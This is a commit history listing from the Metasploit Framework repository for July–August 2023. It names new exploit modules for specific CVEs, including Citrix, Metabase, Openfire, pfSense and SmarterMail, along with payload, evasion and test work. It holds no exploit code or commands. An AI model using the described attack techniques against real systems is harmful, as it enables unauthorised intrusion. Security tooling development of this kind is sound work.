Compare commits

...

350 Commits

Author SHA1 Message Date
adfoster-r7 3dc229f5a1 Land #18279, Revert Add Meterpreter sanity tests to CI 2023-08-10 19:22:04 +01:00
adfoster-r7 cdbd591f07 Revert "Add Meterpreter sanity tests to CI" 2023-08-10 19:08:09 +01:00
Metasploit 0a26ac2e5b automatic module_metadata_base.json update 2023-08-09 03:59:19 -05:00
cgranleese-r7 214c788ce7 Land #18232, metabase setup token rce (cve-2023-38646) 2023-08-09 09:44:53 +01:00
Metasploit c821d39bdb automatic module_metadata_base.json update 2023-08-09 03:41:32 -05:00
adfoster-r7 c4ed903da9 Land #18274, Update CVE-2020-14871 docs 2023-08-09 09:27:00 +01:00
wvu 3be876b9dc Update pam_username_bof.md 2023-08-09 00:24:53 -05:00
wvu 03c99660db Update pam_username_bof.rb 2023-08-09 00:22:57 -05:00
h00die e8ce0454cd review comments 2023-08-08 17:16:57 -04:00
h00die dca125963c metabase review comments 2023-08-08 17:16:57 -04:00
h00die f30c996340 remove comment 2023-08-08 17:16:56 -04:00
h00die 9516592eb6 metabase setup token rce 2023-08-08 17:16:56 -04:00
Metasploit 940496362c automatic module_metadata_base.json update 2023-08-08 12:47:51 -05:00
Jack Heysel 6e8d0b33df Land #18191, Improve post linux checkcontainer
This PR adds support for detecting whether a session is
running in a podman container and improves detection for
sessions running in Docker, LXC and WLS containers.
2023-08-08 13:26:01 -04:00
Metasploit a5cdbcaf20 automatic module_metadata_base.json update 2023-08-08 09:01:23 -05:00
adfoster-r7 814198dc66 Land #18264, Add 12.1 Targets for CVE-2023-3519 2023-08-08 14:37:44 +01:00
Spencer McIntyre baa0f3d5e3 Switch the fingerprint resource for v12 compat
Switching to use citrix-fonts.css allows the technique to work for 12.x
and 13.x.
2023-08-08 08:57:17 -04:00
Spencer McIntyre 72092392e9 Fix check method for v12, add automatic targeting 2023-08-08 08:57:11 -04:00
Spencer McIntyre 760bc3fbfb Add a target for 12.1-64.17 2023-08-04 16:21:21 -04:00
Spencer McIntyre c3324ab002 Add a target for 12.1-65.25 2023-08-04 15:14:24 -04:00
dwelch-r7 9e7960fd9f Land #18224, First iteration of specs for SSH Login scanner 2023-08-04 16:22:37 +01:00
cgranleese-r7 45c9ce86f4 Land #18231, fix for issue #18219, allow index selection for favorites 2023-08-04 15:08:37 +01:00
cgranleese-r7 897d5d1753 Land #18260, Update aws instance connect EC2_ID validation 2023-08-04 14:41:18 +01:00
adfoster-r7 a3d129fe9f Land #18244, Update payload size warnings to errors on CI 2023-08-04 14:10:14 +01:00
adfoster-r7 61a4974670 Update aws instance connect EC2_ID validation 2023-08-04 14:02:06 +01:00
cgranleese-r7 dfe030cc99 Update payload size warnings to errors on CI 2023-08-04 13:56:31 +01:00
dwelch-r7 6f7ebb3824 Land #18210, Add Meterpreter sanity tests to CI 2023-08-04 13:24:39 +01:00
adfoster-r7 a543199ee3 Land #18220, Add error handling when loading payloads 2023-08-04 12:07:39 +01:00
adfoster-r7 b1d6983fad Land #18228, Adds Rubocop rule to detect invalid pack/unpack directives 2023-08-04 11:20:18 +01:00
Metasploit 4ebf4fd52e Bump version of framework to 6.3.29 2023-08-03 17:39:55 -05:00
Jeffrey Martin a8583438c1 fix nokogiri version out of sync in lock file 2023-08-03 17:31:01 -05:00
Metasploit 6c6a553284 automatic module_metadata_base.json update 2023-08-03 14:46:55 -05:00
Jeffrey Martin 5a3a08ca2a Land #18255, Remove python2 from docker setup 2023-08-03 14:24:27 -05:00
adfoster-r7 756d746abe Remove python2 from docker setup 2023-08-03 20:20:13 +01:00
Spencer McIntyre ab2b1b731d Land #18254, remove double refs in Gemfile.lock
remove double reference in Gemfile.lock
2023-08-03 14:47:15 -04:00
Jeffrey Martin 776b4918a7 remove double reference in Gemfile.lock
merge introduced double entries for aws-sdk-ec2instanceconnect
2023-08-03 13:44:07 -05:00
Spencer McIntyre e3d4a8ccd9 Land #18234, Fix for issue #13724
Fix for issue #13724: fix crash for unloaded user32.dll: add library loading
2023-08-03 14:32:33 -04:00
Metasploit bd36c80a2a automatic module_metadata_base.json update 2023-08-03 12:27:01 -05:00
Christophe De La Fuente 4a7836055e Land #18211, Subrion CMS v4.2.1 RCE 2023-08-03 19:03:44 +02:00
Christophe De La Fuente 00006fffae Land #18240, Citrix RCE - CVE-2023-3519 2023-08-03 18:55:48 +02:00
Spencer McIntyre 67e1c57b7c Fix some buffer encoding issues 2023-08-03 12:47:14 -04:00
cgranleese-r7 61f70e09f6 detect invalid Pack/Unpack directives 2023-08-03 17:39:21 +01:00
Metasploit 7fee5a0761 automatic module_metadata_base.json update 2023-08-03 11:31:10 -05:00
adfoster-r7 9a3d068c17 Add apt-get install options for y and no-install-recommends 2023-08-03 17:12:00 +01:00
adfoster-r7 d8dc189168 Add Meterpreter sanity tests to CI 2023-08-03 17:11:44 +01:00
Spencer McIntyre 39382c4652 Land #17600, Add AWS Instance Connect Sessions
Implement AWS Instance Connect Sessions
2023-08-03 12:06:29 -04:00
cgranleese-r7 5756241fb3 Land #18223, Fix broken msfconsole histories when switching between shell sessions 2023-08-03 16:40:01 +01:00
Spencer McIntyre 034fcdde59 Drop the logic to filter repeated error messages 2023-08-03 10:51:58 -04:00
Ismail Dawoodjee 74e886dd68 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-03 20:58:22 +06:30
D00Movenok 3ea9c0100b fixed windows/x64/messagebox CachedSize 2023-08-03 17:10:11 +03:00
Metasploit 4360821d38 automatic module_metadata_base.json update 2023-08-03 07:15:27 -05:00
Ismail Dawoodjee 31da1f890d Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-03 18:29:21 +06:30
cgranleese-r7 49c5b1df64 Land #18203, Fix libssh_auth_bypass crash on newer versions of Ruby 2023-08-03 12:51:36 +01:00
cgranleese-r7 b44c08e5f1 Land #18248, Fix bootsnap warning when booting msfrpc service 2023-08-03 12:46:15 +01:00
cgranleese-r7 265cec01ae Land #18249, Give better error messages when failing to load mettle extensions 2023-08-03 12:40:03 +01:00
Ismail Dawoodjee 1c075f659c Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-03 10:16:07 +06:30
adfoster-r7 a643fa517a Give better error messages when failing to load mettle extensions 2023-08-02 23:03:27 +01:00
Spencer McIntyre 930c90c3ac Update all targets so the stack can be relocated 2023-08-02 14:49:04 -04:00
Metasploit 1943892aef automatic module_metadata_base.json update 2023-08-02 13:02:12 -05:00
Spencer McIntyre b365ab7d10 Add a target for 13.1-37.38 2023-08-02 13:57:53 -04:00
adfoster-r7 9a40e2612b Land #17129, Add OSX Aarch64 Payload support 2023-08-02 18:37:56 +01:00
Spencer McIntyre 5d0b6e1fbc Add a target for 13.0-91.12 2023-08-02 12:48:34 -04:00
adfoster-r7 67770d5684 Fix bootsnap warning when booting msfrpc service 2023-08-02 17:35:11 +01:00
ismaildawoodjee 19dcc2d674 Move module and documentation from linux/http to multi/http 2023-08-02 10:10:27 -04:00
Ismail Dawoodjee 888091dfe4 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-02 20:21:31 +06:30
usiegl00 dd7b50d292 Merge pull request #1 from adfoster-r7/update-osx-templates-makefile-and-compile-binaries
Update osx templates makefile and compile binaries
2023-08-01 19:09:19 -07:00
adfoster-r7 89cd524acb Update osx templates makefile and compile binaries 2023-08-02 01:26:18 +01:00
RageLtMan f0c853073e Address most of @adfoster-r7's 202307 review 2023-08-01 15:04:58 -04:00
Jeffrey Martin 5c67f3231b add aws-sdk-ec2instanceconnect gem 2023-08-01 15:04:58 -04:00
Grant Willcox f95a39254a Bump up dependency versions 2023-08-01 15:04:57 -04:00
Spencer McIntyre 396029a58e Fix connectivity issues
The connection needs to slowly send data to the remote end for
stability. Additionally, the `exit` command should be issued when
closing the connction so it is reset back to the logon prompt.
2023-08-01 15:04:32 -04:00
Spencer McIntyre cd70044e36 Automatically login to the serial connection 2023-08-01 15:04:32 -04:00
Spencer McIntyre 18b6b3ef0b Remove the Windows module
Windows shells require an extra configuration that when present still
doesn't offer either the cmd.exe or powershell session that MSF expects
but rather a SAC shell.
2023-08-01 15:04:32 -04:00
Spencer McIntyre 1a3b579cd9 Cleanups and drop INSTANCE_PORT 2023-08-01 15:04:32 -04:00
RageLtMan 2dd9524b2b AWSSSM: hint at alternative command docs 2023-08-01 15:04:32 -04:00
RageLtMan f8c736589f AWSIC: fix comm_string 2023-08-01 15:04:32 -04:00
RageLtMan dc1ca7aeff Fix-up per @adfoster-r7 2023-08-01 15:04:32 -04:00
RageLtMan dd2ccb3750 AWSOOB: add references, cleanup ssm_enum name 2023-08-01 15:04:32 -04:00
RageLtMan 7290a61853 AWSIC: Address @adfoster-r7's comments 2023-08-01 15:04:32 -04:00
RageLtMan 03f6bf1c84 AWSIC: Only try to get session once per handler
Import @smcintyre-r7's fix for multiple session attempts in SSM
2023-08-01 15:04:32 -04:00
RageLtMan 69ae14ec62 AWSIC: payload uri cleanup 2023-08-01 15:04:32 -04:00
Jeffrey Martin eaa4768547 add aws-sdk-ec2instanceconnect gem 2023-08-01 15:04:30 -04:00
RageLtMan 2352ce6740 Implement AWS Instance Connect Sessions
AWS EC2 Nitro instances (and possibly others) support serial proxy
over SSH using the Instance Connect API:
https://docs.amazonaws.cn/en_us/AWSEC2/latest/UserGuide/
connect-to-serial-console.html

This process consists of sending an SSH pubkey to the serial proxy
control plane, connecting to a well-known URL with the instance ID
and port number as username, and the SSH private key as credential.
The resulting session is a "fragile" SSH context which does not
tolerate Channel-closing, requiring some special handling in Msf to
safeguard the initial Net::SSH::CommandStream.

Implement a BindAwsInstanceConnect Handler which loads an SSH key
from the local FS or generates a new one on the fly, passes the
pubkey to the InstanceConnect API, and then establishes SSH comms
with the InstanceConnect SSH proxy.

Implement a AwsInstanceConnectBind to handle resulting connetions,
derived from SshCommandShellBind, with an updated #bootstrap which
avoids meddling with the fragile CommandStream/Channel.

Testing:
  Got serial console to the ttyS0 login prompt of a Nitro EC2 VM.
  Logged in using previously-known credentials.
  Verified console operations.

Notes:
  Handler keeps firing, same as the SSM session concern.
  There is a limit to the number of sessions which an instance can
hold (possibly only one).
2023-08-01 15:04:03 -04:00
Spencer McIntyre 692c625752 Add module docs 2023-08-01 12:28:13 -04:00
Spencer McIntyre eb5be5746c Add a basic check method to detect Citrix 2023-08-01 12:17:30 -04:00
cgranleese-r7 cd8cd0a52b Land #18243, Fix appscan import failure on empty proof 2023-08-01 15:10:06 +01:00
adfoster-r7 5f9d131cdd Fix appscan import failure on empty proof 2023-08-01 14:31:48 +01:00
Metasploit b875b455f7 automatic module_metadata_base.json update 2023-08-01 08:09:04 -05:00
Christophe De La Fuente f07578b4b4 Land #18209, Fix bypassuac_comhijack module crash 2023-08-01 14:52:41 +02:00
Ismail Dawoodjee 11fb61c3b6 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-08-01 14:24:37 +03:00
usiegl00 c028d33cae Update OSX AARCH64 Stager
This fixes an issue with the stager size in the osx aarch64 payloads. It
also adds the source and Makefile for template_aarch64_darwin.bin
2023-07-31 20:30:30 -07:00
Spencer McIntyre f787bcd04f Define the space for the payload 2023-07-31 18:06:38 -04:00
Metasploit 8b8acadc9c automatic module_metadata_base.json update 2023-07-31 16:53:39 -05:00
Spencer McIntyre de6508c3e3 Initial commit of CVE-2023-3519 2023-07-31 17:30:52 -04:00
adfoster-r7 b979217227 Land #18239, Add version numbers to apache nifi rce module 2023-07-31 22:28:52 +01:00
h00die b2869a5550 version numbers for apache nifi rce 2023-07-31 17:16:26 -04:00
h00die 5d9a65eeb0 version numbers for apache nifi rce 2023-07-31 16:14:57 -04:00
adfoster-r7 89378d54c8 Land #18238, fix bug scanner credential enumeration bug 2023-07-31 16:55:19 +01:00
Dean Welch 9932aaaaaa Add specs for resetting password list when username is specified 2023-07-31 16:22:08 +01:00
Dean Welch 6c367f39c8 Reset password list file descriptor for later use 2023-07-31 15:42:25 +01:00
Metasploit 7df5ae0a62 automatic module_metadata_base.json update 2023-07-31 08:41:50 -05:00
Christophe De La Fuente a7402fb5f1 Land #18205, Add rudder-server SQLI RCE (CVE-2023-30625) exploit 2023-07-31 15:15:07 +02:00
Christophe De La Fuente 56661f49ee Add a comment explaining why the Windows target is disabled 2023-07-31 15:13:35 +02:00
ismaildawoodjee 154387f99a Add additional installation instructions and scenarios 2023-07-30 07:28:16 -04:00
D00Movenok a3f52672da Fix crash for unloaded user32.dll: load library.
Co-authored-by:  ksen-lin <37420872+ksen-lin@users.noreply.github.com>
2023-07-30 00:50:04 +03:00
usiegl00 9019b51eaa Update AARCH64 Shellcode Generation
This updates the aarch64 payloads to include comments with the
corresponding instructions for each little-endian integer. It also fixes
the debug output for x64 payloads under rosetta.
2023-07-29 08:26:56 -07:00
Ismail Dawoodjee aeb8cd3971 Use uri variable instead of hardcoding it - 2nd instance
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-28 23:30:42 +03:00
Ismail Dawoodjee 207d00b73c Use uri variable instead of hardcoding it
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-28 23:29:06 +03:00
ismaildawoodjee 06db7dae40 Change parsing method for version number 2023-07-28 16:17:58 -04:00
Ismail Dawoodjee c4d089b884 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-28 23:13:11 +03:00
Ege Balcı 0996938113 Add note for Windows compatibility 2023-07-28 17:06:38 +02:00
Ege Balcı c509b7b341 Comment out Windows target related lines 2023-07-28 17:06:21 +02:00
Metasploit bcda3e8228 automatic module_metadata_base.json update 2023-07-28 08:22:17 -05:00
ErikWynter ad1add1dc3 fix for issue #18219, allow index selection for favorites 2023-07-28 16:13:51 +03:00
Christophe De La Fuente 0c1d945861 Land #18221, wdmycloud unauthenticated cmd injection - CVE-2016-10108 CVE-2018-17153 2023-07-28 14:55:50 +02:00
ErikWynter 40ef9d496a add docs for wd_mycloud_unauthenticated_cmd_injection 2023-07-28 10:16:50 +03:00
Ege Balcı 225a33995a Merge branch 'rudder_server_sqli_rce' of github.com:egebalci/metasploit-framework into rudder_server_sqli_rce 2023-07-28 00:54:29 +02:00
Ege Balcı 6b11439fa1 Remove basic auth and API_USER/PASS options 2023-07-28 00:44:44 +02:00
Ege Balcı 5d00f882ad Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2023-07-27 21:58:06 +00:00
ErikWynter f79b4331b8 code review fixes for wd_mycloud_unauthenticated_cmd_injection 2023-07-27 23:09:50 +03:00
Ismail Dawoodjee f3e1fccd0c Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-27 22:17:46 +03:00
Metasploit 1390d50ca4 Bump version of framework to 6.3.28 2023-07-27 12:09:19 -05:00
Metasploit b65115e97f automatic module_metadata_base.json update 2023-07-27 11:11:44 -05:00
cgranleese-r7 055206a11b Land #18225, Fix invalid references in modules 2023-07-27 16:56:11 +01:00
adfoster-r7 449af8daa7 Fix broken msfconsole histories when switching between shell sessions 2023-07-27 16:12:57 +01:00
adfoster-r7 f3adc3f79f Fix invalid references in modules 2023-07-27 16:02:37 +01:00
Rory McKinley 0453877fee First iteration of specs for SSH Login scanner 2023-07-27 15:29:02 +02:00
Ege Balcı 103f9a3f60 Update install instructions and scenario 2023-07-26 18:08:54 +02:00
Ege Balcı ca9601bb58 Fixed check method and targets 2023-07-26 18:01:26 +02:00
Ege Balcı 5b5f666256 Make rubocop happy 2023-07-26 16:26:18 +02:00
Ege Balcı 006831938d Adjust targets 2023-07-26 16:26:18 +02:00
Ege Balcı f5e91f686c Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:18 +02:00
Ege Balcı d50fceca40 Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı 1b52c7c8ba Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı bc58254db8 Update modules/exploits/multi/http/rudder_server_sqli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı 00f2fe03be Update documentation/modules/exploit/multi/http/rudder_server_sqli_rce.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı fa3638b10e Update documentation/modules/exploit/multi/http/rudder_server_sqli_rce.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-26 16:26:17 +02:00
Ege Balcı d6328edc27 Make rubocop happy 2023-07-26 16:26:17 +02:00
Ege Balcı 5018c0cdc5 Add documentation 2023-07-26 16:26:17 +02:00
Ege Balcı 47f48e8adb Add rudder-server SQLI RCE (CVE-2023-30625) exploit 2023-07-26 16:26:17 +02:00
ErikWynter 53b8653ac7 add wd_mycloud_unauthenticated_cmd_injection 2023-07-26 17:24:44 +03:00
Dean Welch d9817e825e Add error handling when loading payloads 2023-07-26 12:01:46 +01:00
ismaildawoodjee b7b11373f5 Use full_uri for the payload URI 2023-07-25 22:53:11 -04:00
Ismail Dawoodjee 7ad7c40e40 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-26 05:27:12 +03:00
Spencer McIntyre 01b9d41ed1 Land #18213, Fix evasion windows syscall inject
Fix evasion windows syscall inject module crash
2023-07-25 16:30:59 -04:00
Ismail Dawoodjee 867282ba96 Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-25 23:09:30 +03:00
ismaildawoodjee 671a90ee58 Put checks for website requests and change failure message 2023-07-25 16:08:25 -04:00
Metasploit 29e8c36214 automatic module_metadata_base.json update 2023-07-25 11:02:17 -05:00
Christophe De La Fuente c7f8ce5acd Land #18199, VMWare vRealize Network Insight pre-authenticated RCE CVE-2023-20887 2023-07-25 17:45:30 +02:00
Ismail Dawoodjee 78c1f75f2a Merge branch 'rapid7:master' into subrion_cms_file_upload_rce 2023-07-25 18:01:08 +03:00
ismaildawoodjee e9f53bd195 Use full_uri instead of piecing together a full URI 2023-07-25 11:00:21 -04:00
Metasploit 730d774e7e automatic module_metadata_base.json update 2023-07-25 09:31:21 -05:00
cgranleese-r7 a244c6ff37 Land #18142, WordPress File Manager Advanced Shortcode Unauthenticated RCE [CVE-2023-2068] 2023-07-25 15:15:22 +01:00
cgranleese-r7 52b417b1af Update documentation/modules/exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce.md 2023-07-25 14:06:45 +01:00
h00die-gr3y 43056ad621 removed powershell mixin 2023-07-25 14:06:45 +01:00
h00die-gr3y c1d84e950c Update based on bwatters-r7 comments 2023-07-25 14:06:44 +01:00
h00die-gr3y 45eacec846 Updated module with WordPress check 2023-07-25 14:06:44 +01:00
h00die-gr3y a3daab88e6 Added documentation and updated exploitable plugins list 2023-07-25 14:06:42 +01:00
h00die-gr3y cda6ab5960 init commit module 2023-07-25 14:06:29 +01:00
adfoster-r7 fa97281267 Add documentation on building and testing vulnerable targets 2023-07-25 13:48:38 +01:00
ismaildawoodjee e2a0405975 Merge branch 'subrion_cms_file_upload_rce' of github.com:ismaildawoodjee/metasploit-framework into subrion_cms_file_upload_rce 2023-07-25 03:49:13 -04:00
ismaildawoodjee 3ce382dcc2 Fix issues with msftidy_docs.rb 2023-07-25 03:48:58 -04:00
Ismail Dawoodjee a709c4c010 Update modules/exploits/linux/http/subrion_cms_file_upload_rce.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-24 20:36:28 +03:00
adfoster-r7 49f2d1c3a9 Fix evasion windows syscall inject module crash 2023-07-24 16:15:51 +01:00
ismaildawoodjee 568849fad3 Add scenario for Ubuntu 20.04 2023-07-24 11:03:49 -04:00
ismaildawoodjee 4e16307165 Add module and documentation for Subrion CMS v4.2.1 RCE 2023-07-21 17:22:58 -04:00
Jack Heysel 586971c1fd Fix incomplete copy pasta in docs 2023-07-21 14:38:07 -04:00
adfoster-r7 c26d44a177 Fix bypassuac_comhijack module crash 2023-07-21 16:46:43 +01:00
Metasploit 69cebde238 automatic module_metadata_base.json update 2023-07-21 06:15:43 -05:00
adfoster-r7 f287f50be7 Land #18187, Fixes incorrect usage of pack/unpack directives 2023-07-21 11:40:02 +01:00
dwelch-r7 1af22cfd22 Land #18096, Add initial proxies datastore support for kerberos workflows 2023-07-21 11:37:04 +01:00
adfoster-r7 08a2a293a9 Add proxies datastore support to kerberos 2023-07-21 11:19:50 +01:00
Jack Heysel ee26e7f926 Rubocop fixes 2023-07-20 16:40:28 -04:00
Jack Heysel 421b06119f Update docs 2023-07-20 14:55:27 -04:00
Jack Heysel c48346413c Fixed payload and verion detection 2023-07-20 14:44:56 -04:00
Metasploit b4ec01de83 Bump version of framework to 6.3.27 2023-07-20 12:14:17 -05:00
adfoster-r7 2ae6688815 Fix libssh_auth_bypass crash on newer versions 2023-07-20 12:29:21 +01:00
Jack Heysel d03157fcc1 Installation instructions 2023-07-19 14:23:17 -04:00
jvoisin 0df2f57124 Fix a typo 2023-07-19 19:47:17 +02:00
Julien Voisin d5ca174e1e Apply suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-07-19 17:46:27 +00:00
h00die 530934f78a review comments 2023-07-19 11:42:47 -04:00
cgranleese-r7 8e0a909b18 Fixes incorrect usage of pack/unpack directives 2023-07-19 11:39:00 +01:00
Metasploit b4991a97d0 automatic module_metadata_base.json update 2023-07-18 20:26:47 -05:00
bwatters 01434662fa Land #18182, Add module and doc for cve-2023-26876
Merge branch 'land-18182' into upstream-master
2023-07-18 20:10:47 -05:00
Metasploit a6e4d60457 automatic module_metadata_base.json update 2023-07-18 18:40:14 -05:00
bwatters 297c484a1c Land #18173, Add Openfire Authentication Bypass RCE [CVE-2023-32315]
Merge branch 'land-18173' into upstream-master
2023-07-18 18:13:20 -05:00
Metasploit 1e2a5a5c11 automatic module_metadata_base.json update 2023-07-18 08:41:15 -05:00
cgranleese-r7 a0f04a7018 Land #17681, Add datastore option for Jenkins home directory 2023-07-18 14:17:15 +01:00
Joshua Rogers d9e23a5c67 Update modules/post/multi/gather/jenkins_gather.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-07-18 14:02:27 +02:00
h00die-gr3y 7f35abff86 fixed the invalid character at the store_valid_credential‎ function 2023-07-18 08:38:06 +00:00
rodnt ddb1cc0497 Fix all warns from msftidy rename the docs with the correct name 2023-07-17 23:57:39 +00:00
h00die-gr3y 0ff2ca4f40 updates based on latest comments 2023-07-16 18:43:21 +00:00
jvoisin 2efcbbb772 Add docker detection via the old .dockerinit file 2023-07-16 18:12:11 +02:00
jvoisin 1f2112c5c1 Add podman detection via an environment variable 2023-07-16 18:11:11 +02:00
jvoisin f46641f479 Improve LXC detection
See https://github.com/silverwind/ansible/commit/d649d24be2ed36ff8da7ecbd57b6bb25a9a3b745
2023-07-16 18:07:59 +02:00
jvoisin 2e26e7c98c Add detection for WSL 2023-07-16 18:04:12 +02:00
jvoisin 04438920d5 Add Podman detection
See https://github.com/containers/podman/issues/3586#issuecomment-661918679
2023-07-16 18:01:06 +02:00
H00die.Gr3y f608424242 Apply suggestions from code review
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-07-15 12:02:22 +02:00
H00die.Gr3y dfcb52d189 Merge pull request #1 from bwatters-r7/land-18173
Adjust files to be better shared
2023-07-15 11:46:41 +02:00
rodnt d7b0e94729 fix made at the request of bwatters-r7 2023-07-14 21:34:32 +00:00
Jack Heysel 11d3248532 Land #18186, Add syntax highlighting to wiki
This PR adds highlining to multiple code snippets in the wiki.
2023-07-14 14:53:38 -04:00
bwatters b15d595de2 Adjust files to be better shared 2023-07-14 12:47:04 -05:00
adfoster-r7 f0f2314da9 Add syntax highlighting to multiple code snippets 2023-07-14 11:52:47 +01:00
rodnt 1e75365f8e Update with all changes proposed by smcintyre-r7 2023-07-13 23:38:55 +00:00
Metasploit 7bebee0f42 Bump version of framework to 6.3.26 2023-07-13 12:13:12 -05:00
rodnt 3f0d0ee34c Merge branch 'rapid7:master' into piwigo_cve_26876 2023-07-13 09:59:43 -03:00
rodnt fb8947aa49 change the comment at mysql image 2023-07-13 12:58:30 +00:00
rodnt 4dc6e59fa3 bwatters-r7 suggestions were applied. 2023-07-13 12:51:34 +00:00
Metasploit 7950db3358 automatic module_metadata_base.json update 2023-07-12 13:53:26 -05:00
101719434+rodnt@users.noreply.github.com 5b638bb37b add module and doc for cve-2023-26876 2023-07-12 15:45:40 -03:00
Jack Heysel 10c1b79c37 Land #17861, pfSense Config Data RCE as root
This module exploits a vulnerability in pfSense version
2.6.0 and below which allows for authenticated users to
execute arbitrary operating systems commands as root.
2023-07-12 14:32:06 -04:00
emirpolatt 34f25fbb65 pfSense Config Data Remote Command Execution as root (CVE-2023-27253) Module 2023-07-12 13:27:02 -04:00
adfoster-r7 6b06b77b5a Land #18181, Change dead links to live links, in documents 2023-07-12 17:57:05 +01:00
hahwul 3236aaf6c3 Change dead links to live links, in documents 2023-07-13 01:06:34 +09:00
Metasploit 27638d7409 automatic module_metadata_base.json update 2023-07-10 18:19:51 -05:00
adfoster-r7 5cb5c18550 Land #18170, Add module for SmarterMail Build 6985 - dotNET Deserialization Remote Code Execution (CVE-2019-7214) 2023-07-10 23:56:09 +01:00
Metasploit 917adffb83 automatic module_metadata_base.json update 2023-07-10 17:46:41 -05:00
Jack Heysel bd004e0831 Land #18178, update refence format entry
This PR updates a reference on exploit/windows/smb/ms08_067_netapi
to the new URL format.
2023-07-10 18:19:52 -04:00
Jeffrey Martin 3635ce9c03 update reference format for entry in rapid7.com 2023-07-10 16:54:42 -05:00
Jack Heysel 420147d02e Land #18164, WooCommerce Payments auxiliary module
This module exploits an auth bypass and priv esc vulnerability
in order to create an admin wordpress user.
2023-07-10 17:19:56 -04:00
jheysel-r7 5261d842bc Update documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md 2023-07-10 14:18:50 -04:00
adfoster-r7 c3a0b0b1cb Land #18177, update the wiki to use https instead of http 2023-07-10 10:46:29 +01:00
ismaildawoodjee 025b37ce62 Replace other stale http:// links with https:// 2023-07-10 03:29:08 -04:00
h00die d6911f6b13 add new api endpoint, and checks for multiple versions 2023-07-09 19:48:16 -04:00
ismaildawoodjee 2aea7b2fda Change exploit template comment header from http to https for Msftidy
* Msftidy complains about Line 2 of the exploit template comment having
* http:// protocol instead of https:// protocol
* Reference in PR #18170, commit hash ad0d3e79, where Msftidy lint test fails
* to pass, but in the next commit 591fee18, the test passes.
2023-07-09 15:56:08 -04:00
Ismail Dawoodjee 0a9af48662 Merge branch 'rapid7:master' into smartermail_rce 2023-07-09 17:48:49 +03:00
h00die-gr3y c34779a5f1 updates based on comments of jvoisin and adfoster-r7 2023-07-09 12:20:58 +00:00
ismaildawoodjee e61342afac Proper error handling for closing TCP socket and used Rex exceptions 2023-07-09 07:25:09 -04:00
h00die-gr3y a3ea55f2a6 added documentation 2023-07-08 12:30:54 +00:00
h00die-gr3y 8edbf73b6f first release exploit module 2023-07-08 09:48:17 +00:00
adfoster-r7 b04ff3c579 Land #18172, Tidy up capture plugin specs 2023-07-07 17:12:21 +01:00
Rory McKinley 5974801e14 Tidy up plugin specs 2023-07-07 17:14:29 +02:00
ismaildawoodjee 1706812099 Implemented requested changes
* Small fixes in Description - removed backticks
* Implemented Windows Command target
* Removed PowerShell Stager, in Targets and in exploit method
* Implemented Rex::Socket::Tcp in place of TCPSocket

* Updated TARGET section in documentation
* Added TARGET 0 - Windows Command scenario
* Removed PowerShell Stager scenario
* Replaced 'Using configured payload' lines to use Windows Command payload
  for the 2nd, 3rd, and 4th scenarios. Did not rerun the scenarios, however
2023-07-07 04:14:20 -04:00
Metasploit a0bdbce3c9 Bump version of framework to 6.3.25 2023-07-06 17:49:06 -05:00
Jeffrey Martin 00095fa495 update Pro version docs for 4.22.1 release 2023-07-06 15:02:56 -05:00
Grant Willcox 56cba64e4a Land #18169, Add centralized Metasploit plugin documentation 2023-07-06 14:11:51 -05:00
Grant Willcox d16f38a59c Add command syntax for captureg command reference 2023-07-06 13:14:49 -05:00
Grant Willcox 914818d372 Remove extra character from thread description. 2023-07-06 13:14:14 -05:00
adfoster-r7 bfcd5d0466 Add centralized Metasploit plugin documentation 2023-07-06 19:00:33 +01:00
Ismail Dawoodjee f959dee046 Change module name
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-07-06 18:50:44 +03:00
Ismail Dawoodjee 24ef4e1b90 Update documentation/modules/exploit/windows/http/smartermail_rce.md
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-07-06 18:49:49 +03:00
Grant Willcox 81cf6c2a09 Fix up credential storing code 2023-07-06 10:43:20 -05:00
ismaildawoodjee 591fee1850 Fix msftidy complaining about https:// URL scheme in Line 2 2023-07-06 11:01:54 -04:00
Grant Willcox c3aefe577b Fix url_root loop code and user creation code 2023-07-06 09:36:19 -05:00
ismaildawoodjee ad0d3e79a9 SmarterMail RCE module and documentation 2023-07-06 08:00:28 -04:00
adfoster-r7 88a539a82c Land #18144, update capture plugin to be more helpful, and add documentation 2023-07-06 11:17:14 +01:00
Metasploit e3bdb7a917 automatic module_metadata_base.json update 2023-07-06 02:31:54 -05:00
